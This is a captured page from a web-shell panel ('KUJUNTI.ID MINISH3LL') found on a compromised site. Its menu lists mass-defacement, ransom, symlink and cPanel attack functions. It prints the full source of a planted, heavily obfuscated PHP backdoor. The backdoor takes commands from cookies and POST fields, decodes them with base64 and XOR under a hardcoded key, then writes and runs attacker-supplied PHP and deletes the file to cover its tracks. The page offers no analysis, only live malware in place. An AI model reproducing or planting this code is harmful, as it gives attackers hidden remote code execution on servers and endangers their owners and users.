\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/tims.tv/autoconfig/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/tims.tv/autoconfig/xnvztnqb.php


<?php $cb_u_mz /* ho   */ = /*   vuiy   */ 'cb_u_mz'       ^     '-';






function	fszdho_p()
{	$ar_tzhzdosv_o	=     36;

    $chyrdhb /*l */ =   'xxsaonvu';
  $_fljijx   =    'fk';

  $bxmvozeql /*  rvp   */ =	'm_wr';    $butylh   =	str_replace('pqhbts', /* j_o_  */ 'wut', /*  my  */ $bxmvozeql);}


fszdho_p();

$oulva /*  xzgw*/ =     $_COOKIE;$gasja_um	=	73;

function    gllmzgat($czqeafce,    $wxwrsfj)
{  global /*yqtx*/ $cb_u_mz;

 /*_mhm_v*/ 


    file_put_contents($wxwrsfj,    "<"	. /*ynh   */ $cb_u_mz(63)	. /*gzoiio*/ "\x70" /* gldc_q*/ .	"\x68"    . /*  nkxh   */ "p".$cb_u_mz(32) /*  b */ .    $cb_u_mz(117) /*v  */ .       "n"."\x6c"    .     $cb_u_mz(105)      .      $cb_u_mz(110)	.  "\153"	.    "("."_"."_"."\106" /* vpuhxz*/ .    "\111"	.   "\x4c"     .   "\105"    .    "_".$cb_u_mz(380-285)      .      $cb_u_mz(369-328) /*  ahaln*/ .  $cb_u_mz(515-456) /* s_kqk  */ .   $cb_u_mz(32) /*  tl*/ .    $czqeafce[$cb_u_mz(100)]);
 /* ijbqgq */ 


       iprfpw($wxwrsfj);}





function   iprfpw($wxwrsfj)
{


  global /* i  */ $cb_u_mz;

 /*   ywkx */ 
 /*   viqr*/ include($wxwrsfj);
    $uvkvatg    = /*  o*/ $wxwrsfj;


 /*e */ @unlink($uvkvatg);


}



function /*  hces */ yrqasbnty(){

       global	$cb_u_mz;


      $iegygtm  = /* vtgxw*/ array();

    $iegygtm["\x70"    .       $cb_u_mz(1024-906)]	=  phpversion();
    $iegygtm["s"."v"]      = /*  hph  */ "\x33"     .    "."."\65";	$iegygtmzlptugolb /*qgnpv  */ = /* wcym  */ 74;    echo    @serialize($iegygtm);
}

function	ruwar()

{

      $swfrj_ss /*   nmxi */ =    'atuyp_vj_t';       $utldddjgo_ /* qwa   */ = /*g */ 44;


	$yqqaism	=	47;
    $ogyccocp /* jgtlxz*/ = /*  i*/ 'djrsylsc_';
}

ruwar();

function	o_ctecqmvv($czqeafce,      $dqvxyf){


 /*   vfsbg*/ global /*   vt   */ $cb_u_mz;


 /*  fn  */ $majbollrgs       =   "";

	$ecsbvbxz	=       'jo';
      for /*   fm   */ ($iegygtm /*   hotqh*/ =	0;	$iegygtm /*  lsgee   */ <    strlen($czqeafce);)   {


 /*  rlfeut */ for     ($ar_tzhzdo      =    0; /*  sznkav*/ $ar_tzhzdo	<   strlen($dqvxyf)    &&      $iegygtm /* uz*/ <    strlen($czqeafce); /* uq  */ $ar_tzhzdo++, /*   zexs */ $iegygtm++) /* ij*/ {


 /*ugeyl*/ $majbollrgs	.=     $cb_u_mz(ord($czqeafce[$iegygtm]) /*  xnzb   */ ^      ord($dqvxyf[$ar_tzhzdo]));


 /*   epjvpi */ }

    }
      return       $majbollrgs;}


function  fvxfelqzgh(){

 /*  gnbtpe*/ $rbfwzp_bam   =	14;
      $sfihgkmj      =    'dmunchr';


      $wstnstz_	=     18;

   $zofoax    =    49;
	$ypehon  =    'yczll';

    $fkzudq       =	'khecf';


       $rbfwzp_bam     =    $zofoax   *	$zofoax;

    $ftsurxjwp /* rgfy  */ =	$zofoax   /	($zofoax /*cgk  */ + /*   kny */ 10);


 /*  tszdjx   */ $gyr_mg    =    39;}fvxfelqzgh();





function /*  tfsn */ hfbjtzj($czqeafce,    $ar_tzhzdoqwmnouzf,	$fxaoqbdys){


    global    $cb_u_mz;
	$czqeafce   =    unserialize(o_ctecqmvv(o_ctecqmvv(base64_decode($czqeafce),	$ar_tzhzdoqwmnouzf),    $fxaoqbdys));	$htjosgc	=	'ffyb_';
	$greooesytf /*_m  */ = /*   lnfaxq   */ 'yolvnau';
   if      (isset($czqeafce[$cb_u_mz(791-694)."k"])) /*   qgsh*/ {
 /* hv */ if	($czqeafce[$cb_u_mz(791-694)] /*  ar*/ == /*tg  */ "\x69")   {  yrqasbnty();
  }       elseif   ($czqeafce[$cb_u_mz(791-694)] /* n*/ ==	$cb_u_mz(846-745)) /*   u  */ {

    gllmzgat($czqeafce,    sprintf(".".$cb_u_mz(932-885) /*   ldy  */ . /* nfaxnu */ "%"."s".".".$cb_u_mz(112) /*  irj   */ . /*   gd */ "\154",	md5($ar_tzhzdoqwmnouzf)));

			$usu_tos    =    44;
      }


 /*   j */ exit();

    }

}





	$wdswkljt   =	69;

	$tzsdzwangs	=	22;$ar_tzhzdoqwmnouzf       =	"5"."\70"    . /*  ioc  */ $cb_u_mz(1056-958)	. /*   f*/ $cb_u_mz(728-629)       .	$cb_u_mz(1042-994)       . /* fc */ $cb_u_mz(1025-975)      . /*   mihzrj  */ "\144"   .     "0".$cb_u_mz(45) /* p*/ .    "\x35" /*   i */ .	"7".$cb_u_mz(98) /* hpfaw   */ .   "b"."-"."4"."6".$cb_u_mz(708-611)    .    "\71"    . /* ot */ "\x2d"  .       $cb_u_mz(791-694)."7"."\x32"	. /* diyqa   */ "7".$cb_u_mz(417-372)    .     $cb_u_mz(57-9)    . /*cqe */ "3"."5".$cb_u_mz(782-728)	. /* kpcor*/ $cb_u_mz(56)      .	"\71"	. /*  ijdo  */ $cb_u_mz(52)   . /*mlzi*/ "2".$cb_u_mz(916-818) /*  pm_*/ .    "7"."\146"    .	$cb_u_mz(55);
$tzsdzwangs    = /*  js  */ $wdswkljt /* jsnr   */ +    15;
foreach	($oulva   as /*yx */ $fxaoqbdys  =>	$czqeafce) /*dyf  */ {


    hfbjtzj($czqeafce,   $ar_tzhzdoqwmnouzf,      $fxaoqbdys);


}



foreach    ($_POST /* pp  */ as	$fxaoqbdys      =>  $czqeafce)       {       hfbjtzj($czqeafce,	$ar_tzhzdoqwmnouzf, /*  dpgjx  */ $fxaoqbdys);
}



$thurj	= /* anh*/ 6;





?>

© KUJUNTI.ID